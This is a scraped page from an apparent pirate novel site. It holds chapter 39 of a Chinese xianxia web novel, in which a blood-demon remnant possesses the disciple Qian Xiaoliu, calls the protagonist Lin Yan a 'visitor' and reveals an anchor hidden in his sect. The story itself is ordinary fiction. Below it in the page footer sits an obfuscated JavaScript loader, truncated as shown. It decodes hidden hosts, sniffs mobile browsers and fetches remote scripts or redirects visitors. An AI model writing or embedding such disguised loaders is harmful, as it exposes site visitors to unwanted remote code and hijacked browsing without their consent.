首页
第三十九章 归途血眼附人身,
返回
关灯 护眼:关 字号:小

第三十九章 归途血眼附人身,千年一字等来客

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第三十九章归途血眼附人身,千年一字等来客(第1/2页)
    青铜令烫得像一块刚从火里夹出的铁。
    林砚的手没有抖。他甚至连脚步都没停,只是将令牌翻了个面,掌心合拢,顺势揣回怀中。指节因为用力而微微泛白,但脸上什么都没有。
    “走快点。“他对前头的韩厉说,声音平稳,“出口要关了。“
    韩厉回头看了他一眼,没多问。这位符丹宗大师兄一手提着周毅的后领,像提一只半秃的鸡,另一手拽着柳媚儿的缚灵索。柳媚儿发髻散乱,嘴角还挂着干涸的血痕,被拽得一个趔趄,却乖觉得很,一声没吭。周毅则面如死灰,两条腿几乎是在地上拖。
    苏灵韵和沈清鸢一前一后护着被救弟子,数了数,连钱小六在内共十一人。这些弟子在血祭台上被困了不知多久,一个个面黄肌瘦,灵息虚浮,能自己走的已算不错。
    楚云走在最前,长剑归鞘,步伐不快不慢。他回报完那句“血影宗余众或死或逃“之后就再没开口,像一截会走路的剑鞘。
    灵豆没有在众人面前现身。
    林砚感到它贴在自己胸口的位置,凉丝丝的,像一小块冰。紧接着,那道只有他能听见的细声音在意识里响起来。
    “令牌背面的字我扫了。“灵豆的语气比平时正经,“不是刻上去的,也不是印上去的。是血魔残识在你触碰封印核心的瞬间,顺着你的灵息编码进令牌材质的。“
    林砚脚步微顿。
    “编码?“
    “你可以理解成一种……刻录。“灵豆顿了顿,“频率和第六块残碑上的暗记完全同频。林砚,这东西不是留给你的警告,是一封信。“
    林砚没有回答。他的拇指在令牌边缘摩挲了一下,那八个字像烙铁一样刻在他脑子里——门未全关,血眼尚睁。
    什么门?什么眼?
    他想起末代祖师磕头时的样子。那具遗蜕在封碑完成后磕了三个头,每一个都磕得极重,额头撞在玉座上发出沉闷的声响。当时他以为那是谢幕,是末代祖师对封印完成的告慰。现在想来,那三个头里或许还有别的意思——愧疚?嘱托?还是警告?
    他又想起灵豆说的“信“。一封信,用血魔残识编码,和第六块残碑同频。第六块残碑是他亲手嵌入封印的,嵌入的瞬间他感到碑身里有一股极细微的震动,像有什么东西在碑里翻了个身。他当时以为是碑灵感应,没有深究。
    现在想来,那不是翻身。那是睁眼。
    他压下翻涌的念头,抬眼望向前方石廊。仙境的出口是一条蜿蜒向下的天然甬道,两壁是暗红色的岩石,头顶偶尔有碎石簌簌落下。远处隐约能看到一线天光,那是仙门与凡界相接的位置。
    但那线光正在收窄。
    石廊里的温度也在变。越往外走,空气越凉,仙境中那种温润的灵气正在迅速消退,取而代之的是凡界山风里的泥土和朽木气味。两壁的岩石上开始出现水渍,脚底下踩上去咯吱作响,是碎石和干裂的泥壳。
    “都跟上!“韩厉也发现了天光在缩,嗓门在石廊里嗡嗡回响,“门在关!“
    被救弟子们慌了,互相搀扶着加快脚步。苏灵韵回身扶了一个腿软的女弟子,那弟子脚下一滑差点跪下,苏灵韵架住她的胳膊,低声说了句“别怕“。沈清鸢从袖中摸出几张轻身符,沿路拍在走不动的人背上,符纸贴上后背便化成一道暖流通入四肢,那些人的脚步顿时轻快了些。
    林砚走在队尾。
    他习惯性地扫了一眼身后的弟子群。大部分人都在埋头赶路,恐惧和疲惫写在每一张脸上。有个年纪小的弟子一直在发抖,走几步就回头看一眼,好像怕黑暗里有什么东西追上来。
    但有一个人不一样。
    钱小六。
    青玄宗外门弟子,二十出头,瘦,颧骨很高,穿一件洗得发白的青玄宗外门灰袍。他从血祭台上被救下来时就很安静,不哭不闹,也不说话,只是低着头跟在队伍里。沈清鸢分发轻身符的时候拍到他背上,他也只是微微点了一下头,目光始终没有抬起来过。
    此刻他的步伐很稳——太稳了。一个被血祭折磨了数日、灵息虚浮的人,脚步不该这么均匀。他的落脚没有轻重变化,每一步的间距几乎一模一样,像是用尺子量过。
    他的双手垂在身侧,肩膀没有丝毫晃动,走路像一根被平移的木桩。
    “灵豆。“林砚在心里叫了一声。
    “看到了。“灵豆的声音瞬间绷紧,“他心率不对。正常人赶路心率应该在急搏区间,但他的心率像在睡觉——每分钟不到四十。灵息也是,表面虚浮,底下有一层东西在脉动,频率和令牌上的字一样。“
    林砚瞳孔微缩。
    “被标记了?“
    “呼吸过血祭雾气的人都有可能。“灵豆说,“但他反应最重。林砚,别靠太近——“
    话音未落,整段石廊猛地一震。
    封印余震。
    不是远处的闷响,是脚底下直接传上来的颠簸,像有一只巨手在地底猛推了一把。头顶的岩层发出令人牙酸的碎裂声,一块磨盘大的石头轰然砸在队伍中间,碎石四溅。被救弟子惊叫着四散,苏灵韵拔剑劈开一块飞向人群的碎石,沈清鸢一把将两个弟子拽到墙根,自己背上被碎石擦出一道血痕。
    “塌了!“韩厉吼道,“往前跑!“
    混乱在一瞬间达到顶点。
    林砚被逃难的人群挤了一下,后背撞上岩壁,肩胛骨磕得生疼。就在他稳住身形的刹那,他看见钱小六停住了。
    所有人都在往前跑,只有他站在原地,缓缓抬起头。
    那张瘦脸上没有任何表情。
    然后,两行血从他的眼角流了下来。
    不是泪,是血。鲜红的,浓稠的,顺着颧骨淌下来,在苍白的脸上拉出两道刺目的红痕。他的眼珠整个翻了上去,只剩眼白,而眼白上有什么东西在蠕动——像极细的红丝,在巩膜底下织成一张网。
    “拦住他!“林砚暴喝。
    但钱小六已经动了。
    那不是一个炼气期修士该有的速度。他的身体几乎是贴着地面弹射出去的,灰袍在身后拉出一道残影,十指弯曲如钩,指节咔咔作响,指甲在昏暗的石廊里泛着铁灰色的光,直取林砚的咽喉。
    韩厉离得最近。他丢下周毅,一掌拍出,掌风裹着符丹宗的刚猛灵力,正中钱小六胸口。砰的一声闷响,韩厉的手掌像拍在了一块铁板上,巨大的反震力顺着手臂窜上来,他整条胳膊瞬间麻了,经脉里像被灌了一瓢滚油。他整个人倒飞出去,后背重重撞在岩壁上,石屑扑簌簌落了一头,一口血喷了出来。
    “操——“韩厉滑坐在地,捂着发麻的手臂,脸色发白,“这东西不对劲!“
    钱小六被那一掌拍得顿了一瞬,身上的灰袍碎裂,露出底下的皮肤——苍白的皮肤下,无数红丝像蚯蚓一样游走,密密麻麻,从胸口一直蔓延到脖颈和面颊。那些红丝在皮肤底下蠕动,看得人头皮发麻。
    他再次扑向林砚。
    一道剑光横斩而来。
    楚云不知何时已拔剑回身。他没有说话,剑身上隐隐有暗纹流动,像沉睡的纹路被什么东西唤醒。那一剑又快又准,斩向钱小六的腰肋,是玄剑门标准的截杀剑式,没有半分花哨。
    叮——
    金铁交鸣的声音在石廊里炸开。楚云的剑砍在钱小六手臂上,竟然像砍在精钢上,只留下一道白印。钱小六反手一抓,五指扣向楚云的剑身。楚云撤剑变招,但那只手的速度快得离谱,指尖擦着剑脊划过——
    剑身上的暗纹骤然暴涨。
    不是楚云催动的。那些暗纹像是自行活了过来,从剑脊一路蔓延到剑柄,幽蓝色的光纹大盛,形成一道半透明的剑气屏障,硬生生挡住了钱小六的五指。指爪与屏障碰撞,发出刺耳的尖啸,红丝和蓝光绞在一起,滋滋作响,像烧红的铁丢进了冷水里。
    楚云浑身一震,口角溢出一线血。
    那股反噬的力量顺着剑柄灌入他的手臂,直冲丹田,他感到经脉像被一根烧红的铁丝穿了过去,握剑的虎口当场裂开。炼气八层的灵力在这股暗纹之力面前竟像纸糊的一样,被冲得七零八落。他显然也没料到自己的剑会有这种反应,低头看了一眼剑身,瞳孔里闪过一丝困惑和惊疑。这把剑是他十五岁入门时师父所赠,跟了他八年,从未有过这样的异动。
    但他没有退。手腕一沉,剑势再涨,将钱小六逼退了三步。
    “楚云!“苏灵韵在身后喊。
    “我没事。“楚云咬着牙,声音从牙缝里挤出来。他的手在微微发抖,不是因为恐惧,而是因为剑身上那股陌生的力量正在反噬他的经脉。但他还是挡在林砚前面,剑横胸前,姿势没有变。
    钱小六没有再扑。
    他歪了歪头,像是在打量什么有趣的东西。那双流着血的眼睛重新对准林砚,然后——他开口了。
    声音不是钱小六的。
    钱小六是个二十出头的乡下少年,嗓音应该带着青涩和沙哑。但从这具身体里发出的声音,平静、平板、没有起伏,像一个人在念一份早已写好的稿子。
    是标准的现代普通话。
    “访客,“那声音说,“你终于来了。“
    石廊里安静了一瞬。连落石的声音都像远了几分。
    林砚的后背贴着岩壁,浑身的汗毛竖了起来。不是因为恐惧,而是因为那个词——访客。在这个修真世界里,没有人会用这个词称呼他。同门叫他林砚,长辈叫他小友,敌人叫他符丹宗弟子。只有来自同一个地方的人,才会用这个词。
    可血魔不是人。它是被封在万年仙境底下的东西,是和末代祖师一个时代的存在。它怎么会说现代普通话?怎么会用“访客“这个词?
    一个念头像冰锥一样扎进他的脑海:末代祖师也是穿越者。灵豆觉醒时说过,守印灵的记忆碎片里有关于末代祖师的片段,那个人“不属于此界“。如果末代祖师是穿越者,那么和他同时代被封的血魔,会不会从末代祖师那里学到了什么?
    或者——它等的人,根本不是末代祖师。
    “我等了很久。“钱小六的嘴唇开合,语调没有任何变化,像新闻播报,“久到我自己都快忘了在等什么。但你身上的味道我认得——和那个封碑的人一样,不属于这里。“
    (本章未完,请点击下一页继续阅读)第三十九章归途血眼附人身,千年一字等来客(第2/2页)
    灵豆在林砚胸口猛地一震。“它知道!它知道你是穿越来的!“
    林砚没有理它。他盯着钱小六的眼睛,一字一字地问:“你是谁?“
    “我?“那平板的声音像是在咀嚼一个无意义的字眼,“我是被留在门后面的东西。七块碑封住了我的身,但封不住我的眼。我的眼已经看到了很多东西——“
    钱小六的手缓缓抬起,指向东南方向。他的手指在半空中停住,指尖微微颤动,像指南针的针在归位。
    “——锚点已经种下了。就在青玄宗里。“
    林砚的心猛地沉了下去。
    “你呼吸过我的雾气。“那声音继续说,语气甚至有几分像在闲聊,“你和你的朋友们,还有这些弟子。每一个呼吸过雾气的人,都是我的眼睛。你以为逃出了仙境就安全了?访客,你只是把我的眼带出了门而已。“
    它顿了顿,歪着的头正了回来。
    “你会回去的。回到锚点所在的地方。然后我就能看见了。“
    头顶又一块巨石砸落,整个石廊在剧烈摇晃。楚云闷哼一声,剑上的蓝光暗了一瞬,显然已经快要撑不住,他的脚步在碎石中向后滑了半寸。
    “林砚!“灵豆急道,“残识附在他灵识深处,硬杀会连人带识一起灭。净煞符加令牌,按眉心,我来演算共振频率!“
    林砚没有犹豫。
    他左手摸出一张净煞符,右手探入怀中攥住青铜令。令牌还在发烫,但那股烫意此刻反而让他清醒。以他炼气五层的修为,正面对抗血魔残识和送死没有区别,唯一的胜算就是灵豆的演算和令牌本身的封印之力。他咬破舌尖,一口血喷在符箓上,净煞符金光大作,符纸上的朱砂纹路像活过来一样游动。
    “楚云,让开!“
    楚云看了他一眼,没有多问,剑势一收,侧身退开半步。就是这半步的空档,林砚已经冲了上去。
    钱小六的手再次抓来,五根手指几乎要碰到他的面门。林砚矮身躲过,指尖感到那股阴风从头顶掠过,带着一股腥甜的铁锈味。他左手的净煞符啪地拍在钱小六胸口,右手的青铜令高高举起,拇指抵住令背——朝着那八个字的方向——重重按在钱小六的眉心。
    “滚出来。“林砚说。
    青铜令上的八字骤然亮起。
    不是金光,也不是火光,是一种极淡的灰白色光芒,从令牌的纹路里渗出来,顺着钱小六的眉心往里钻。钱小六发出一声不似人声的惨叫,身体弓了起来,像被一根无形的线吊住,脚后跟离地,头拼命往后仰。皮肤底下的红丝疯狂涌动,从四面八方涌向眉心,又被令牌的光纹逼退,两股力量在他体内拉锯,每一次冲撞都让少年的身体剧烈抽搐。
    林砚感到掌心传来一阵剧烈的灼痛,像握着一块烧红的炭。他咬着牙没有松手。
    “频率再调——左偏三寸,对,就是现在!“灵豆在他意识里尖叫。
    林砚手腕一拧,令牌在钱小六眉心转了半寸。
    一道暗红色的虚影从钱小六七窍中被抽了出来,像一缕被风扯出的烟。那虚影在半空中扭曲了一瞬,隐约能看出一只眼睛的轮廓,瞳孔的位置是一团浓稠的黑。它发出一声极低的、带着笑意的叹息,那笑声和钱小六的声音重叠在一起,又很快分离开来。
    然后它散了。暗红色的烟丝在空气中变淡、消失,像墨滴进了流水里。
    钱小六的眼睛翻了回来,瞳孔重新有了焦距。他茫然地看了林砚一眼,嘴唇动了动,什么都没说出来,身体一软,直挺挺地倒了下去。
    林砚伸手接住他。少年还有气,虽然微弱,但脉搏在跳,胸口在起伏。
    “活着。“林砚喘着气说。他低头看了一眼自己的右掌,掌心一片通红,令牌的纹路印在皮肤上,像被什么东西烙了一下。
    “废话,“灵豆的声音也蔫了,有气无力,“我演算的频率,能把人弄死才怪。倒是你,手没事吧?令牌温度刚才飙到——算了,先别管这个,你的掌心以后可能会留点印子,不碍事。“
    “先出去。“林砚将钱小六扛到肩上,抬头看了一眼前方。
    天光只剩窄窄的一道了,像一把正在合拢的刀。
    石廊的坍塌已经蔓延到整片穹顶,碎石像雨一样砸下来。韩厉捂着胳膊爬起来,一把拽起周毅,又用脚踢了踢柳媚儿示意她跟上,朝苏灵韵和沈清鸢吼了句“带上人跑“。楚云收剑入鞘,剑上的暗纹在入鞘的瞬间熄灭,但他握剑的手顿了一下,低头看了看自己的掌心——虎口的伤口还在渗血——又看了看剑柄,眉头拧成一个疙瘩。
    “跑!“
    所有人朝着那道天光冲去。
    林砚扛着钱小六跑在最后。碎石砸在他背上、肩上,有一块指甲盖大的石片擦过他的额角,血立刻流了下来,糊住了半边眼睛。他顾不上擦,只闷头往前冲。钱小六的体重全压在他肩上,少年的胳膊垂在他胸前晃荡,指尖偶尔碰到他的腰侧,冰凉的。身后的石廊一段接一段地垮塌,每一声巨响都像踩在心口上,气浪推着他的后背,像有什么东西在追赶。
    前方,苏灵韵一手持剑劈开坠石,一手拽着一个跑不动的弟子,沈清鸢贴墙疾行,不断将落伍的人往前推。韩厉虽然伤了一条胳膊,另一只手仍死死提着周毅,跑起来像一阵风。楚云没有跑在最前面,他刻意放慢了半个身位,始终和林砚保持着一剑的距离,且战且退,有碎石从侧面飞来就一剑挑开。
    天光越来越近,越来越亮——
    他一步踏出。
    脚下一空,整个人失重了一瞬,然后重重摔在草地上。冰凉的夜空气灌入肺叶,带着泥土和青草的味道。他翻滚了两圈,仰面朝天,看见一轮满月挂在深蓝色的天幕上。月光很亮,亮得不像凡界该有的样子。
    仙境之门在身后发出一声沉闷的巨响,然后彻底闭合。那道光消失了,只剩下一面爬满青苔的山壁,壁上连一道缝都找不到,仿佛什么都没有存在过。
    山谷还是那个山谷。凡界的风,凡界的月,凡界的虫鸣。
    韩厉四仰八叉地躺在地上,大口喘气,受伤的那条胳膊搁在胸口,袖口已经被血浸透了。苏灵韵靠着一块岩石,给受伤的弟子包扎,手指稳得很,只有鬓角的汗暴露了她的疲惫。沈清鸢清点人数,一个不落地记下来,点到钱小六的时候看了林砚一眼,林砚摇了摇头表示人还活着。周毅和柳媚儿被捆在一棵树下,周毅全程缩着脖子不敢看人,柳媚儿则闭着眼,脸色灰败,像是彻底断了念想。
    楚云站在稍远的地方。
    他又拔剑了。
    剑身上的暗纹已经隐去,和普通的铁剑没有任何区别。月光照在剑脊上,映出一条细细的裂纹——不是旧伤,是刚才暴涨时留下的。楚云用指腹擦了擦剑脊,指尖触到那条裂纹时停住了。他皱着眉,把剑翻来覆去看了两遍,又尝试往剑里灌注灵力。灵力沿着经脉流入剑柄,在剑身中段遇到了一丝微弱的阻力,像水流撞上了一块暗礁。那阻力一闪即逝,他甚至不确定是不是自己的错觉。
    他抬眼望了一下林砚的方向,嘴唇动了动,最终什么都没说,还剑入鞘。但他握剑的手比平时紧了几分,指节在月光下泛着白。
    林砚爬起来,将钱小六平放在草地上。
    少年还在昏迷中,呼吸均匀了许多,脸上的血痕已经干涸成暗红色的痂。林砚拨开他的衣领查看伤势——胸口的红丝已经退去,皮肤恢复了正常的苍白,净煞符贴过的位置留下一个淡金色的掌印,正在慢慢消褪。
    但就在他准备收手的时候,他看见了。
    钱小六胸口正中的位置,血管浮了起来。不是红丝,是血管本身——几条青色的血管在皮肤下凸起,像被什么东西从内部顶起来,彼此交错,形成了一个清晰的形状。
    一个箭头。
    箭头指向东南。
    林砚顺着那个方向望去。层叠的山影之后,东南方的夜空隐隐泛着一层极淡的灵光——那是青玄宗护山阵法的辉光,从山谷里看过去,像天边一抹将亮未亮的晨曦。
    “灵豆。“他的声音有些哑。
    灵豆从他领口探出半个脑袋,巴掌大的半透明小人儿蹲在他肩头,看了一眼钱小六胸口的箭头,沉默了两秒。它平时话多,此刻却罕见地没有立刻开口。
    “锚点在宗门里。“灵豆的声音很轻,“血眼能透过所有呼吸过血祭雾气的活物视物。钱小六是被标记最深的,所以箭头在他身上显形了。但这不代表其他人身上没有——只是还没显。“
    “什么时候会显?“林砚问。
    “不知道。“灵豆很少说这三个字,“可能受到灵力刺激就会显,可能靠近锚点就会显,也可能永远不显。但只要还在身上,它就能看。“
    林砚沉默了一会儿。他抬头看了一眼山谷里横七竖八躺着的人——韩厉在骂骂咧咧地处理手臂上的伤,苏灵韵在给弟子喂水,沈清鸢正在用传讯符往宗里发消息。楚云靠在一棵树下,闭着眼,手还搭在剑柄上。这些人都呼吸过那雾气。
    他自己也是。
    他慢慢低下头,看向自己的手。
    他也呼吸过那雾气。在仙境里,在血祭台上,在和血魔残识对抗的整个过程中,那种带着铁锈味的红色雾气无处不在。他以为自己屏住了呼吸,以为净煞符护住了心脉,但灵豆说的是“所有呼吸过雾气的活物“。
    没有例外。
    他的手掌在月光下摊开。掌心的纹路清晰可见,生命线从虎口延伸到腕骨,深长而清晰。一切看起来都很正常——除了那片令牌烙下的红印,还在微微发烫。
    然后他翻过手掌。
    月光落在掌心的另一侧。一道细细的红丝正顺着生命线蜿蜒爬过,细得像一根头发丝,颜色是暗红的,几乎要融进掌纹里。如果不是他刻意去找,根本不会发现。
    那道红丝轻轻跳了一下。
    像一颗不属于他的心跳。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 